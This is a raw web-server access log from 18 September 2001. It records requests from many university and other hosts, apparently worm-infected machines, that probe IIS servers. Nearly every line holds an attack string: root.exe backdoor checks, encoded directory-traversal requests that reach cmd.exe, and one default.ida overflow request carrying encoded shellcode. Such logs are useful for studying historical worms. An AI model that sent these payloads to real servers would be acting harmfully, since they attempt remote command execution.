/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:21: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:21: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:22: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:22: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:23: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:26: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:27: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:27: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:28: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:28: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:16:38: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:16:38: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:39: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:39: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:40: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:41: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:42: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:42: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:47: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:20:15: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:20:15: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:16: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:16: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:19: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:20:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:20:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:20:57: [128.164.89.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:22:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:22:12: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:22:13: [128.164.89.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:22:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:22:31: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:22:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:22:31: [128.164.89.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:22:49: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:22:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:22:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:22:50: [128.164.89.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:10: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:11: [128.164.89.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:23:31: [128.164.89.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:24:09: [128.164.89.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:25:01: [128.164.89.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:25:20: [213.56.100.161] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:25:48: [128.164.89.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 10:26:10: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:26:11: [213.56.100.161] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:26:31: [128.164.89.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:26:51: abelard.phil.uiuc.edu [128.174.28.81] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:26:52: [213.56.100.161] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:13: abelard.phil.uiuc.edu [128.174.28.81] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:14: [213.56.100.161] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:34: abelard.phil.uiuc.edu [128.174.28.81] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:35: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:27:36: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:37: [213.56.100.161] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:57: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:27:58: abelard.phil.uiuc.edu [128.174.28.81] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:59: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:27:59: abelard.phil.uiuc.edu [128.174.28.81] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:00: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:01: [213.56.100.161] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:21: abelard.phil.uiuc.edu [128.174.28.81] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:22: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:23: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:24: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:24: [213.56.100.161] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:45: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:45: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:46: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:46: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:47: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:47: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:47: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:28:47: [213.56.100.161] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:07: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:08: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:09: [213.56.100.161] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:29: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:29: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:30: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:31: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:31: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:33: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:34: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:34: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:35: [213.56.100.161] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:29:55: [213.56.100.161] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:30:21: [213.56.100.161] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:30:43: [213.56.100.161] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:06: [213.56.100.161] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:31:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:31:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:32: [213.56.100.161] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:55: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:31:59: [213.56.100.161] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:32:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:32:20: [128.163.33.117] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:32:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:32:41: [128.163.33.117] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:33:10: [128.163.33.117] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:33:30: [128.163.33.117] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:33:50: [128.163.33.117] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:34:11: [128.163.33.117] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:34:34: [128.163.33.117] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:35:13: [128.163.33.117] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:35:37: [128.163.33.117] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:36:07: [128.163.33.117] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:36:27: [128.163.33.117] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:36:48: 